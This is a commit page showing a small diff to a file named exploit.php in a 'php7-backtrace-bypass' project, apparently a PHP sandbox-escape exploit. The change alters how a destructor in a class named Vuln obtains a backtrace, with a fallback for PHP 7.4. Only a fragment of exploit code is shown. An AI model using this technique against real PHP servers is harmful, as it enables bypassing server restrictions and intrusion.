Get the backtrace via Exception class, when possible

mm0r1 · mm0r1 · commit 396e393e8627 · 2020-01-30T19:09:04.000+03:00
diff --git a/php7-backtrace-bypass/exploit.php b/php7-backtrace-bypass/exploit.php
@@ -21,7 +21,10 @@ class Vuln {
         public function __destruct() { 
             global $backtrace; 
             unset($this->a);
-            $backtrace = debug_backtrace();
+            $backtrace = (new Exception)->getTrace(); # ;)
+            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
+                $backtrace = debug_backtrace();
+            }
         }
     }
 

Original file line number	Diff line number	Diff line change
`@@ -21,7 +21,10 @@ class Vuln {`
`21`	`21`	`public function __destruct() {`
`22`	`22`	`global $backtrace;`
`23`	`23`	`unset($this->a);`
`24`		`- $backtrace = debug_backtrace();`
	`24`	`+ $backtrace = (new Exception)->getTrace(); # ;)`
	`25`	`+ if(!isset($backtrace[1]['args'])) { # PHP >= 7.4`
	`26`	`+ $backtrace = debug_backtrace();`
	`27`	`+ }`
`25`	`28`	`}`
`26`	`29`	`}`
`27`	`30`